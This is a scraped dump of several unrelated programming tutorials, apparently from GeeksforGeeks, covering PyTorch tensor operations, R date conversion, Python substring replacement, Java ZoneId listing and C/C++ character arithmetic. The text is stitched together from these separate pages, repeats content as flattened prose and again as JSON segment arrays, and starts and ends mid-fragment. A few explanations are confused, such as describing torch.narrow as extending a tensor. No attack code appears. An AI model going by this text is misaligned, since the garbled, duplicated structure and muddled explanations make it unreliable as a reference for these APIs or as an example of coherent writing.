1, 0, 2)) Output: tensor([[10, 20, 30], [45, 67, 89], [23, 45, 67]]) tensor([[20, 30], [67, 89], [45, 67]]) tensor([[10, 20], [45, 67], [23, 45]]) This function is used to return the new tensor by checking the existing tensors conditionally. Syntax: torch.where(condition,statement1,statement2) where, condition is used to check the existing tensor condition by applying conditions on the existing tensors statememt1 is executed when condition is true statememt2 is executed when condition is false Example: We will use different relational operators to check the functionality Python3 # import moduleimport torch # create a tensor with 3 data in# 3 three elements eachdata = torch.tensor([[[10, 20, 30], [45, 67, 89], [23, 45, 67]]]) # displayprint(data) # set the number 100 when the# number in greater than 45# otherwise 50print(torch.where(data > 45, 100, 50)) # set the number 100 when the# number in less than 45# otherwise 50print(torch.where(data < 45, 100, 50)) # set the number 100 when the number in # equal to 23 otherwise 50print(torch.where(data == 23, 100, 50)) Output: tensor([[[10, 20, 30], [45, 67, 89], [23, 45, 67]]]) tensor([[[ 50, 50, 50], [ 50, 100, 100], [ 50, 50, 100]]]) tensor([[[100, 100, 100], [ 50, 50, 50], [100, 50, 50]]]) tensor([[[ 50, 50, 50], [ 50, 50, 50], [100, 50, 50]]]) Picked Python-Tensorflow Machine Learning Python Machine Learning Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n04 Jan, 2022" }, { "code": null, "e": 91, "s": 28, "text": "In this article, we will discuss tensor operations in PyTorch." }, { "code": null, "e": 294, "s": 91, "text": "PyTorch is a scientific package used to perform operations on the given data like tensor in python. A Tensor is a collection of data like a numpy array. We can create a tensor using the tensor function:" }, { "code": null, "e": 391, "s": 294, "text": "Syntax: torch.tensor([[[element1,element2,.,element n],......,[element1,element2,.,element n]]])" }, { "code": null, "e": 398, "s": 391, "text": "where," }, { "code": null, "e": 418, "s": 398, "text": "torch is the module" }, { "code": null, "e": 441, "s": 418, "text": "tensor is the function" }, { "code": null, "e": 463, "s": 441, "text": "elements are the data" }, { "code": null, "e": 521, "s": 463, "text": "The Operations in PyTorch that are applied on tensor are:" }, { "code": null, "e": 656, "s": 521, "text": "This operation is used to expand the tensor into a number of tensors, a number of rows in tensors, and a number of columns in tensors." }, { "code": null, "e": 685, "s": 656, "text": "Syntax: tensor.expand(n,r,c)" }, { "code": null, "e": 692, "s": 685, "text": "where," }, { "code": null, "e": 719, "s": 692, "text": "tensor is the input tensor" }, { "code": null, "e": 756, "s": 719, "text": "n is to return the number of tensors" }, { "code": null, "e": 796, "s": 756, "text": "r is the number of rows in each tensor" }, { "code": null, "e": 838, "s": 796, "text": "c is the number of columns in each tensor" }, { "code": null, "e": 942, "s": 838, "text": "Example: In this example, we will expand the tensor into 4 tensors, 2 rows and 3 columns in each tensor" }, { "code": null, "e": 950, "s": 942, "text": "Python3" }, { "code": "# import moduleimport torch # create a tensor with 2 data# in 3 three elements eachdata = torch.tensor([[10, 20, 30], [45, 67, 89]]) # displayprint(data) # expand the tensor into 4 tensors , 2# rows and 3 columns in each tensorprint(data.expand(4, 2, 3))", "e": 1229, "s": 950, "text": null }, { "code": null, "e": 1237, "s": 1229, "text": "Output:" }, { "code": null, "e": 1474, "s": 1237, "text": "tensor([[10, 20, 30],\n [45, 67, 89]])\ntensor([[[10, 20, 30],\n [45, 67, 89]],\n\n [[10, 20, 30],\n [45, 67, 89]],\n\n [[10, 20, 30],\n [45, 67, 89]],\n\n [[10, 20, 30],\n [45, 67, 89]]])" }, { "code": null, "e": 1530, "s": 1474, "text": "This is used to reorder the tensor using row and column" }, { "code": null, "e": 1560, "s": 1530, "text": "Syntax: tensor.permute(a,b,c)" }, { "code": null, "e": 1566, "s": 1560, "text": "where" }, { "code": null, "e": 1593, "s": 1566, "text": "tensor is the input tensor" }, { "code": null, "e": 1645, "s": 1593, "text": "permute(1,2,0) is used to permute the tensor by row" }, { "code": null, "e": 1700, "s": 1645, "text": "permute(2,1,0) is used to permute the tensor by column" }, { "code": null, "e": 1789, "s": 1700, "text": "Example: In this example, we are going to permute the tensor first by row and by column." }, { "code": null, "e": 1797, "s": 1789, "text": "Python3" }, { "code": "# import moduleimport torch # create a tensor with 2 data# in 3 three elements eachdata = torch.tensor([[[10, 20, 30], [45, 67, 89]]]) # displayprint(data) # permute the tensor first by rowprint(data.permute(1, 2, 0)) # permute the tensor first by columnprint(data.permute(2, 1, 0))", "e": 2106, "s": 1797, "text": null }, { "code": null, "e": 2114, "s": 2106, "text": "Output:" }, { "code": null, "e": 2352, "s": 2114, "text": "tensor([[[10, 20, 30],\n [45, 67, 89]]])\ntensor([[[10],\n [20],\n [30]],\n\n [[45],\n [67],\n [89]]])\ntensor([[[10],\n [45]],\n\n [[20],\n [67]],\n\n [[30],\n [89]]])" }, { "code": null, "e": 2427, "s": 2352, "text": "This method is used to return a list or nested list from the given tensor." }, { "code": null, "e": 2451, "s": 2427, "text": "Syntax: tensor.tolist()" }, { "code": null, "e": 2533, "s": 2451, "text": "Example: In this example, we are going to convert the given tensor into the list." }, { "code": null, "e": 2541, "s": 2533, "text": "Python3" }, { "code": "# import moduleimport torch # create a tensor with 2 data in# 3 three elements eachdata = torch.tensor([[[10, 20, 30], [45, 67, 89]]]) # displayprint(data) # convert the tensor to listprint(data.tolist())", "e": 2771, "s": 2541, "text": null }, { "code": null, "e": 2779, "s": 2771, "text": "Output:" }, { "code": null, "e": 2858, "s": 2779, "text": "tensor([[[10, 20, 30],\n [45, 67, 89]]])\n[[[10, 20, 30], [45, 67, 89]]]" }, { "code": null, "e": 2975, "s": 2858, "text": "This function is used to narrow the tensor. in other words, it will extend the tensor based on the input dimensions." }, { "code": null, "e": 3010, "s": 2975, "text": "Syntax: torch.narrow(tensor,d,i,l)" }, { "code": null, "e": 3017, "s": 3010, "text": "where," }, { "code": null, "e": 3044, "s": 3017, "text": "tensor is the input tensor" }, { "code": null, "e": 3073, "s": 3044, "text": "d is the dimension to narrow" }, { "code": null, "e": 3111, "s": 3073, "text": "i is the starting index of the vector" }, { "code": null, "e": 3169, "s": 3111, "text": "l is the length of the new tensor along the dimension – d" }, { "code": null, "e": 3433, "s": 3169, "text": "Example: In this example, we will narrow the tensor with 1 dimension which is starting from 1 st index, and the length of each dimension is 2 and we will narrow the tensor with 1 dimension which is starting from the 0th index and the length of each dimension is 2" }, { "code": null, "e": 3441, "s": 3433, "text": "Python3" }, { "code": "# import moduleimport torch # create a tensor with 2 data in# 3 three elements eachdata = torch.tensor([[10, 20, 30], [45, 67, 89], [23, 45, 67]]) # displayprint(data) # narrow the tensor# with 1 dimension# starting from 1 st index# length of each dimension is 2print(torch.narrow(data, 1, 1, 2)) # narrow the tensor# with 1 dimension# starting from 0 th index# length of each dimension is 2print(torch.narrow(data, 1, 0, 2))", "e": 3914, "s": 3441, "text": null }, { "code": null, "e": 3922, "s": 3914, "text": "Output:" }, { "code": null, "e": 4099, "s": 3922, "text": "tensor([[10, 20, 30],\n [45, 67, 89],\n [23, 45, 67]])\ntensor([[20, 30],\n [67, 89],\n [45, 67]])\ntensor([[10, 20],\n [45, 67],\n [23, 45]])" }, { "code": null, "e": 4194, "s": 4099, "text": "This function is used to return the new tensor by checking the existing tensors conditionally." }, { "code": null, "e": 4247, "s": 4194, "text": "Syntax: torch.where(condition,statement1,statement2)" }, { "code": null, "e": 4254, "s": 4247, "text": "where," }, { "code": null, "e": 4358, "s": 4254, "text": "condition is used to check the existing tensor condition by applying conditions on the existing tensors" }, { "code": null, "e": 4404, "s": 4358, "text": "statememt1 is executed when condition is true" }, { "code": null, "e": 4451, "s": 4404, "text": "statememt2 is executed when condition is false" }, { "code": null, "e": 4530, "s": 4451, "text": "Example: We will use different relational operators to check the functionality" }, { "code": null, "e": 4538, "s": 4530, "text": "Python3" }, { "code": "# import moduleimport torch # create a tensor with 3 data in# 3 three elements eachdata = torch.tensor([[[10, 20, 30], [45, 67, 89], [23, 45, 67]]]) # displayprint(data) # set the number 100 when the# number in greater than 45# otherwise 50print(torch.where(data > 45, 100, 50)) # set the number 100 when the# number in less than 45# otherwise 50print(torch.where(data < 45, 100, 50)) # set the number 100 when the number in # equal to 23 otherwise 50print(torch.where(data == 23, 100, 50))", "e": 5077, "s": 4538, "text": null }, { "code": null, "e": 5085, "s": 5077, "text": "Output:" }, { "code": null, "e": 5396, "s": 5085, "text": "tensor([[[10, 20, 30],\n [45, 67, 89],\n [23, 45, 67]]])\ntensor([[[ 50, 50, 50],\n [ 50, 100, 100],\n [ 50, 50, 100]]])\ntensor([[[100, 100, 100],\n [ 50, 50, 50],\n [100, 50, 50]]])\ntensor([[[ 50, 50, 50],\n [ 50, 50, 50],\n [100, 50, 50]]])" }, { "code": null, "e": 5403, "s": 5396, "text": "Picked" }, { "code": null, "e": 5421, "s": 5403, "text": "Python-Tensorflow" }, { "code": null, "e": 5438, "s": 5421, "text": "Machine Learning" }, { "code": null, "e": 5445, "s": 5438, "text": "Python" }, { "code": null, "e": 5462, "s": 5445, "text": "Machine Learning" } ]
How to Convert Date to Numeric in R?
19 Dec, 2021 In this article, we will discuss how to convert date to numeric in R Programming Language. This function is used to convert date into numeric Syntax: as.numeric(date) where the date is the input date. Example: R data = as.POSIXct("1/1/2021 1:05:00 AM", format="%m/%d/%Y %H:%M:%S %p") # displayprint(data) # convert to numericprint(as.numeric(data)) Output: [1] "2021-01-01 01:05:00 UTC" [1] 1609463100 If we want to get the number of days from the number, divide the number by 86400. as.numeric(date)/86400 If we want to get the number of years from date, then divide it by 365. as.numeric(date)/86400/365 Example: R program to convert dates into days and years R data = as.POSIXct("1/1/2021 1:05:00 AM", format="%m/%d/%Y %H:%M:%S %p") # displayprint(data) # convert to numericprint(as.numeric(data)) # convert to numeric and get daysprint(as.numeric(data)/86400) # convert to numeric and get yearsprint((as.numeric(data)/86400)/365) Output: [1] "2021-01-01 01:05:00 UTC" [1] 1609463100 [1] 18628.05 [1] 51.03574 Here, By using this module, we can get the day, month, year, hour, minute, and second separately in integer format. Syntax: day: day(date) month: month(date) year: year(date) hour: hour(date) minute: minute(date) second: second(date) Example: R # load the librarylibrary("lubridate") # create datedata = as.POSIXct("1/1/2021 1:05:00 AM", format="%m/%d/%Y %H:%M:%S %p") # displayprint(data) # get the dayprint(day(data)) # get the monthprint(month(data)) # get the yearprint(year(data)) # get the hourprint(hour(data)) # get the minuteprint(minute(data)) # get the secondprint(second(data)) Output: [1] "2021-01-01 01:05:00 UTC" [1] 1 [1] 1 [1] 2021 [1] 1 [1] 5 [1] 0 Picked R-DateTime R Language Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Change Color of Bars in Barchart using ggplot2 in R How to Split Column Into Multiple Columns in R DataFrame? Group by function in R using Dplyr How to Change Axis Scales in R Plots? R - if statement Logistic Regression in R Programming How to filter R DataFrame by values in a column? Replace Specific Characters in String in R How to import an Excel File into R ? Joining of Dataframes in R Programming
[ { "code": null, "e": 28, "s": 0, "text": "\n19 Dec, 2021" }, { "code": null, "e": 119, "s": 28, "text": "In this article, we will discuss how to convert date to numeric in R Programming Language." }, { "code": null, "e": 170, "s": 119, "text": "This function is used to convert date into numeric" }, { "code": null, "e": 178, "s": 170, "text": "Syntax:" }, { "code": null, "e": 195, "s": 178, "text": "as.numeric(date)" }, { "code": null, "e": 229, "s": 195, "text": "where the date is the input date." }, { "code": null, "e": 238, "s": 229, "text": "Example:" }, { "code": null, "e": 240, "s": 238, "text": "R" }, { "code": "data = as.POSIXct(\"1/1/2021 1:05:00 AM\", format=\"%m/%d/%Y %H:%M:%S %p\") # displayprint(data) # convert to numericprint(as.numeric(data))", "e": 398, "s": 240, "text": null }, { "code": null, "e": 406, "s": 398, "text": "Output:" }, { "code": null, "e": 451, "s": 406, "text": "[1] \"2021-01-01 01:05:00 UTC\"\n[1] 1609463100" }, { "code": null, "e": 533, "s": 451, "text": "If we want to get the number of days from the number, divide the number by 86400." }, { "code": null, "e": 556, "s": 533, "text": "as.numeric(date)/86400" }, { "code": null, "e": 628, "s": 556, "text": "If we want to get the number of years from date, then divide it by 365." }, { "code": null, "e": 655, "s": 628, "text": "as.numeric(date)/86400/365" }, { "code": null, "e": 711, "s": 655, "text": "Example: R program to convert dates into days and years" }, { "code": null, "e": 713, "s": 711, "text": "R" }, { "code": "data = as.POSIXct(\"1/1/2021 1:05:00 AM\", format=\"%m/%d/%Y %H:%M:%S %p\") # displayprint(data) # convert to numericprint(as.numeric(data)) # convert to numeric and get daysprint(as.numeric(data)/86400) # convert to numeric and get yearsprint((as.numeric(data)/86400)/365)", "e": 1007, "s": 713, "text": null }, { "code": null, "e": 1015, "s": 1007, "text": "Output:" }, { "code": null, "e": 1086, "s": 1015, "text": "[1] \"2021-01-01 01:05:00 UTC\"\n[1] 1609463100\n[1] 18628.05\n[1] 51.03574" }, { "code": null, "e": 1202, "s": 1086, "text": "Here, By using this module, we can get the day, month, year, hour, minute, and second separately in integer format." }, { "code": null, "e": 1210, "s": 1202, "text": "Syntax:" }, { "code": null, "e": 1325, "s": 1210, "text": "day:\nday(date)\n\nmonth:\nmonth(date)\n\nyear:\nyear(date)\n\nhour:\nhour(date)\n\nminute:\nminute(date)\n\nsecond:\nsecond(date)" }, { "code": null, "e": 1334, "s": 1325, "text": "Example:" }, { "code": null, "e": 1336, "s": 1334, "text": "R" }, { "code": "# load the librarylibrary(\"lubridate\") # create datedata = as.POSIXct(\"1/1/2021 1:05:00 AM\", format=\"%m/%d/%Y %H:%M:%S %p\") # displayprint(data) # get the dayprint(day(data)) # get the monthprint(month(data)) # get the yearprint(year(data)) # get the hourprint(hour(data)) # get the minuteprint(minute(data)) # get the secondprint(second(data))", "e": 1709, "s": 1336, "text": null }, { "code": null, "e": 1717, "s": 1709, "text": "Output:" }, { "code": null, "e": 1786, "s": 1717, "text": "[1] \"2021-01-01 01:05:00 UTC\"\n[1] 1\n[1] 1\n[1] 2021\n[1] 1\n[1] 5\n[1] 0" }, { "code": null, "e": 1793, "s": 1786, "text": "Picked" }, { "code": null, "e": 1804, "s": 1793, "text": "R-DateTime" }, { "code": null, "e": 1815, "s": 1804, "text": "R Language" }, { "code": null, "e": 1913, "s": 1815, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 1965, "s": 1913, "text": "Change Color of Bars in Barchart using ggplot2 in R" }, { "code": null, "e": 2023, "s": 1965, "text": "How to Split Column Into Multiple Columns in R DataFrame?" }, { "code": null, "e": 2058, "s": 2023, "text": "Group by function in R using Dplyr" }, { "code": null, "e": 2096, "s": 2058, "text": "How to Change Axis Scales in R Plots?" }, { "code": null, "e": 2113, "s": 2096, "text": "R - if statement" }, { "code": null, "e": 2150, "s": 2113, "text": "Logistic Regression in R Programming" }, { "code": null, "e": 2199, "s": 2150, "text": "How to filter R DataFrame by values in a column?" }, { "code": null, "e": 2242, "s": 2199, "text": "Replace Specific Characters in String in R" }, { "code": null, "e": 2279, "s": 2242, "text": "How to import an Excel File into R ?" } ]
Python | Replace substring in list of strings
07 Jun, 2019 While working with strings, one of the most used application is replacing the part of string with another. Since string in itself is immutable, the knowledge of this utility in itself is quite useful. Here the replacement of a substring in list of string is performed. Let’s discuss certain ways in which this can be performed. Method #1 : Using list comprehension + replace()The replace method can be coupled with the list comprehension technique to achieve this particular task. List comprehension performs the task of iterating through the list and replace method replaces the section of substring with another. # Python3 code to demonstrate# Replace substring in list of strings# using list comprehension + replace() # initializing list test_list = ['4', 'kg', 'butter', 'for', '40', 'bucks'] # printing original list print("The original list : " + str(test_list )) # using list comprehension + replace()# Replace substring in list of stringsres = [sub.replace('4', '1') for sub in test_list] # print resultprint("The list after substring replacement : " + str(res)) The original list : ['4', 'kg', 'butter', 'for', '40', 'bucks'] The list after substring replacement : ['1', 'kg', 'butter', 'for', '10', 'bucks'] Method #2 : Using map() + lambda + replace()The combination of these functions can also be used to perform this particular task. The map and lambda help to perform the task same as list comprehension and replace method is used to perform the replace functionality. But this method is poor when it comes to performance than method above. # Python3 code to demonstrate# Replace substring in list of strings# using list comprehension + map() + lambda # initializing list test_list = ['4', 'kg', 'butter', 'for', '40', 'bucks'] # printing original list print("The original list : " + str(test_list )) # using list comprehension + map() + lambda# Replace substring in list of stringsres = list(map(lambda st: str.replace(st, "4", "1"), test_list)) # print resultprint("The list after substring replacement : " + str(res)) The original list : ['4', 'kg', 'butter', 'for', '40', 'bucks'] The list after substring replacement : ['1', 'kg', 'butter', 'for', '10', 'bucks'] Python list-programs Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Different ways to create Pandas Dataframe Enumerate() in Python How to Install PIP on Windows ? *args and **kwargs in Python Python Classes and Objects Defaultdict in Python Python | Get dictionary keys as a list Python | Convert a list to dictionary Python | Convert string dictionary to dictionary Python Program for Fibonacci numbers
[ { "code": null, "e": 52, "s": 24, "text": "\n07 Jun, 2019" }, { "code": null, "e": 380, "s": 52, "text": "While working with strings, one of the most used application is replacing the part of string with another. Since string in itself is immutable, the knowledge of this utility in itself is quite useful. Here the replacement of a substring in list of string is performed. Let’s discuss certain ways in which this can be performed." }, { "code": null, "e": 667, "s": 380, "text": "Method #1 : Using list comprehension + replace()The replace method can be coupled with the list comprehension technique to achieve this particular task. List comprehension performs the task of iterating through the list and replace method replaces the section of substring with another." }, { "code": "# Python3 code to demonstrate# Replace substring in list of strings# using list comprehension + replace() # initializing list test_list = ['4', 'kg', 'butter', 'for', '40', 'bucks'] # printing original list print(\"The original list : \" + str(test_list )) # using list comprehension + replace()# Replace substring in list of stringsres = [sub.replace('4', '1') for sub in test_list] # print resultprint(\"The list after substring replacement : \" + str(res))", "e": 1132, "s": 667, "text": null }, { "code": null, "e": 1280, "s": 1132, "text": "The original list : ['4', 'kg', 'butter', 'for', '40', 'bucks']\nThe list after substring replacement : ['1', 'kg', 'butter', 'for', '10', 'bucks']\n" }, { "code": null, "e": 1619, "s": 1282, "text": "Method #2 : Using map() + lambda + replace()The combination of these functions can also be used to perform this particular task. The map and lambda help to perform the task same as list comprehension and replace method is used to perform the replace functionality. But this method is poor when it comes to performance than method above." }, { "code": "# Python3 code to demonstrate# Replace substring in list of strings# using list comprehension + map() + lambda # initializing list test_list = ['4', 'kg', 'butter', 'for', '40', 'bucks'] # printing original list print(\"The original list : \" + str(test_list )) # using list comprehension + map() + lambda# Replace substring in list of stringsres = list(map(lambda st: str.replace(st, \"4\", \"1\"), test_list)) # print resultprint(\"The list after substring replacement : \" + str(res))", "e": 2108, "s": 1619, "text": null }, { "code": null, "e": 2256, "s": 2108, "text": "The original list : ['4', 'kg', 'butter', 'for', '40', 'bucks']\nThe list after substring replacement : ['1', 'kg', 'butter', 'for', '10', 'bucks']\n" }, { "code": null, "e": 2277, "s": 2256, "text": "Python list-programs" }, { "code": null, "e": 2284, "s": 2277, "text": "Python" }, { "code": null, "e": 2300, "s": 2284, "text": "Python Programs" }, { "code": null, "e": 2398, "s": 2300, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2440, "s": 2398, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 2462, "s": 2440, "text": "Enumerate() in Python" }, { "code": null, "e": 2494, "s": 2462, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 2523, "s": 2494, "text": "*args and **kwargs in Python" }, { "code": null, "e": 2550, "s": 2523, "text": "Python Classes and Objects" }, { "code": null, "e": 2572, "s": 2550, "text": "Defaultdict in Python" }, { "code": null, "e": 2611, "s": 2572, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 2649, "s": 2611, "text": "Python | Convert a list to dictionary" }, { "code": null, "e": 2698, "s": 2649, "text": "Python | Convert string dictionary to dictionary" } ]
ZoneId getAvailableZoneIds() method in Java with Examples
19 Aug, 2019 The getAvailableZoneIds() method of the ZoneId class used to get the set of available zone IDs.This set includes all available region-based IDs.The ID can be passed to of(String) to create a ZoneId.The set of zone IDs can increase over time, although in a typical application the set of IDs is fixed. Syntax: public static Set getAvailableZoneIds() Parameters: This method does not accepts any parameter. Return value: This method returns Set which are a modifiable copy of the set of zone IDs. Below programs illustrate the getAvailableZoneIds() method:Program 1: // Java program to demonstrate// ZoneId.getAvailableZoneIds() method import java.time.*;import java.util.Set; public class GFG { public static void main(String[] args) { // get available zones using zoneIds() Set<String> zoneIds = ZoneId.getAvailableZoneIds(); // print first record System.out.println("First ZoneId in list:" + zoneIds.iterator().next()); }} First ZoneId in list:Asia/Aden Program 2: // Java program to demonstrate// ZoneId.getAvailableZoneIds() method import java.time.*;import java.util.*; public class GFG { public static void main(String[] args) { // get available zones using zoneIds() Set<String> allZones = ZoneId.getAvailableZoneIds(); // create ArrayList from Set List<String> zoneList = new ArrayList<String>(allZones); Collections.sort(zoneList); // printing first 5 zoneid with offset LocalDateTime dt = LocalDateTime.now(); for (int i = 0; i < 5; i++) { // get zoneid then ZonedDateTime and offset // from that ZoneId String s = zoneList.get(i); ZoneId zoneid = ZoneId.of(s); ZonedDateTime zoneddate = dt.atZone(zoneid); ZoneOffset offset = zoneddate.getOffset(); System.out.println("ZoneId = " + zoneid + " offset = " + offset); } }} ZoneId = Africa/Abidjan offset = Z ZoneId = Africa/Accra offset = Z ZoneId = Africa/Addis_Ababa offset = +03:00 ZoneId = Africa/Algiers offset = +01:00 ZoneId = Africa/Asmara offset = +03:00 References:https://docs.oracle.com/javase/10/docs/api/java/time/ZoneId.html#getAvailableZoneIds(java.lang.Object) Akanksha_Rai Java-Functions Java-time package Java-ZoneId Java Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n19 Aug, 2019" }, { "code": null, "e": 329, "s": 28, "text": "The getAvailableZoneIds() method of the ZoneId class used to get the set of available zone IDs.This set includes all available region-based IDs.The ID can be passed to of(String) to create a ZoneId.The set of zone IDs can increase over time, although in a typical application the set of IDs is fixed." }, { "code": null, "e": 337, "s": 329, "text": "Syntax:" }, { "code": null, "e": 378, "s": 337, "text": "public static Set getAvailableZoneIds()\n" }, { "code": null, "e": 434, "s": 378, "text": "Parameters: This method does not accepts any parameter." }, { "code": null, "e": 524, "s": 434, "text": "Return value: This method returns Set which are a modifiable copy of the set of zone IDs." }, { "code": null, "e": 594, "s": 524, "text": "Below programs illustrate the getAvailableZoneIds() method:Program 1:" }, { "code": "// Java program to demonstrate// ZoneId.getAvailableZoneIds() method import java.time.*;import java.util.Set; public class GFG { public static void main(String[] args) { // get available zones using zoneIds() Set<String> zoneIds = ZoneId.getAvailableZoneIds(); // print first record System.out.println(\"First ZoneId in list:\" + zoneIds.iterator().next()); }}", "e": 996, "s": 594, "text": null }, { "code": null, "e": 1028, "s": 996, "text": "First ZoneId in list:Asia/Aden\n" }, { "code": null, "e": 1039, "s": 1028, "text": "Program 2:" }, { "code": "// Java program to demonstrate// ZoneId.getAvailableZoneIds() method import java.time.*;import java.util.*; public class GFG { public static void main(String[] args) { // get available zones using zoneIds() Set<String> allZones = ZoneId.getAvailableZoneIds(); // create ArrayList from Set List<String> zoneList = new ArrayList<String>(allZones); Collections.sort(zoneList); // printing first 5 zoneid with offset LocalDateTime dt = LocalDateTime.now(); for (int i = 0; i < 5; i++) { // get zoneid then ZonedDateTime and offset // from that ZoneId String s = zoneList.get(i); ZoneId zoneid = ZoneId.of(s); ZonedDateTime zoneddate = dt.atZone(zoneid); ZoneOffset offset = zoneddate.getOffset(); System.out.println(\"ZoneId = \" + zoneid + \" offset = \" + offset); } }}", "e": 1962, "s": 1039, "text": null }, { "code": null, "e": 2154, "s": 1962, "text": "ZoneId = Africa/Abidjan offset = Z\nZoneId = Africa/Accra offset = Z\nZoneId = Africa/Addis_Ababa offset = +03:00\nZoneId = Africa/Algiers offset = +01:00\nZoneId = Africa/Asmara offset = +03:00\n" }, { "code": null, "e": 2268, "s": 2154, "text": "References:https://docs.oracle.com/javase/10/docs/api/java/time/ZoneId.html#getAvailableZoneIds(java.lang.Object)" }, { "code": null, "e": 2281, "s": 2268, "text": "Akanksha_Rai" }, { "code": null, "e": 2296, "s": 2281, "text": "Java-Functions" }, { "code": null, "e": 2314, "s": 2296, "text": "Java-time package" }, { "code": null, "e": 2326, "s": 2314, "text": "Java-ZoneId" }, { "code": null, "e": 2331, "s": 2326, "text": "Java" }, { "code": null, "e": 2336, "s": 2331, "text": "Java" } ]
Character arithmetic in C and C++
30 Jun, 2022 As already known character range is between -128 to 127 or 0 to 255. This point has to be kept in mind while doing character arithmetic. What is Character arithmetic ? Character arithmetic is used to implement arithmetic operations like addition, subtraction ,multiplication ,division on characters in C and C++ language. In character arithmetic character converts into integer value to perform task. For this ASCII value is used.It is used to perform action the strings. To understand better let’s take an example. C // C program to demonstrate character arithmetic.#include <stdio.h> int main(){ char ch1 = 125, ch2 = 10; ch1 = ch1 + ch2; printf("%d\n", ch1); printf("%c\n", ch1 - ch2 - 4); return 0;} -121 y So %d specifier causes an integer value to be printed and %c specifier causes a character value to printed. But care has to taken that while using %c specifier the integer value should not exceed 127. So far so good.But for c++ it plays out a little different. Look at this example to understand better. C++ // A C++ program to demonstrate character// arithmetic in C++.#include <bits/stdc++.h>using namespace std; int main(){ char ch = 65; cout << ch << endl; cout << ch + 0 << endl; cout << char(ch + 32) << endl; return 0;} Output: A 65 a Without a ‘+’ operator character value is printed. But when used along with ‘+’ operator behaved differently. Use of ‘+’ operator implicitly typecasts it to an ‘int’. So to conclude, in character arithmetic, typecasting of char variable to ‘char’ is explicit and to ‘int’ it is implicit. let’s take one more example. C #include <stdio.h>// driver codeint main(void){ char value1 = 'a'; char value2 = 'b'; char value3 = 'z'; // perform character arithmetic char num1 = value1 + 3; char num2 = value2 - 1; char num3 = value3 + 2; // print value printf("numerical value=%d\n", num1); printf("numerical value=%d\n", num2); printf("numerical value=%d\n", num3); return 0;} Output: numerical value=100 numerical value=97 numerical value=124 This article is contributed by Parveen Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. parasmadan15 reshmapatil2772 sagartomar9927 cpp-data-types C Language C++ CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Substring in C++ Function Pointer in C Left Shift and Right Shift Operators in C/C++ Different Methods to Reverse a String in C++ std::string class in C++ Vector in C++ STL Map in C++ Standard Template Library (STL) Initialize a vector in C++ (7 different ways) Set in C++ Standard Template Library (STL) vector erase() and clear() in C++
[ { "code": null, "e": 52, "s": 24, "text": "\n30 Jun, 2022" }, { "code": null, "e": 190, "s": 52, "text": "As already known character range is between -128 to 127 or 0 to 255. This point has to be kept in mind while doing character arithmetic. " }, { "code": null, "e": 221, "s": 190, "text": "What is Character arithmetic ?" }, { "code": null, "e": 525, "s": 221, "text": "Character arithmetic is used to implement arithmetic operations like addition, subtraction ,multiplication ,division on characters in C and C++ language. In character arithmetic character converts into integer value to perform task. For this ASCII value is used.It is used to perform action the strings." }, { "code": null, "e": 569, "s": 525, "text": "To understand better let’s take an example." }, { "code": null, "e": 571, "s": 569, "text": "C" }, { "code": "// C program to demonstrate character arithmetic.#include <stdio.h> int main(){ char ch1 = 125, ch2 = 10; ch1 = ch1 + ch2; printf(\"%d\\n\", ch1); printf(\"%c\\n\", ch1 - ch2 - 4); return 0;}", "e": 772, "s": 571, "text": null }, { "code": null, "e": 779, "s": 772, "text": "-121\ny" }, { "code": null, "e": 1040, "s": 779, "text": "So %d specifier causes an integer value to be printed and %c specifier causes a character value to printed. But care has to taken that while using %c specifier the integer value should not exceed 127. So far so good.But for c++ it plays out a little different." }, { "code": null, "e": 1084, "s": 1040, "text": "Look at this example to understand better. " }, { "code": null, "e": 1088, "s": 1084, "text": "C++" }, { "code": "// A C++ program to demonstrate character// arithmetic in C++.#include <bits/stdc++.h>using namespace std; int main(){ char ch = 65; cout << ch << endl; cout << ch + 0 << endl; cout << char(ch + 32) << endl; return 0;}", "e": 1322, "s": 1088, "text": null }, { "code": null, "e": 1331, "s": 1322, "text": "Output: " }, { "code": null, "e": 1338, "s": 1331, "text": "A\n65\na" }, { "code": null, "e": 1627, "s": 1338, "text": "Without a ‘+’ operator character value is printed. But when used along with ‘+’ operator behaved differently. Use of ‘+’ operator implicitly typecasts it to an ‘int’. So to conclude, in character arithmetic, typecasting of char variable to ‘char’ is explicit and to ‘int’ it is implicit. " }, { "code": null, "e": 1656, "s": 1627, "text": "let’s take one more example." }, { "code": null, "e": 1658, "s": 1656, "text": "C" }, { "code": "#include <stdio.h>// driver codeint main(void){ char value1 = 'a'; char value2 = 'b'; char value3 = 'z'; // perform character arithmetic char num1 = value1 + 3; char num2 = value2 - 1; char num3 = value3 + 2; // print value printf(\"numerical value=%d\\n\", num1); printf(\"numerical value=%d\\n\", num2); printf(\"numerical value=%d\\n\", num3); return 0;}", "e": 2043, "s": 1658, "text": null }, { "code": null, "e": 2051, "s": 2043, "text": "Output:" }, { "code": null, "e": 2112, "s": 2051, "text": "numerical value=100 \nnumerical value=97\nnumerical value=124" }, { "code": null, "e": 2534, "s": 2112, "text": "This article is contributed by Parveen Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. " }, { "code": null, "e": 2547, "s": 2534, "text": "parasmadan15" }, { "code": null, "e": 2563, "s": 2547, "text": "reshmapatil2772" }, { "code": null, "e": 2578, "s": 2563, "text": "sagartomar9927" }, { "code": null, "e": 2593, "s": 2578, "text": "cpp-data-types" }, { "code": null, "e": 2604, "s": 2593, "text": "C Language" }, { "code": null, "e": 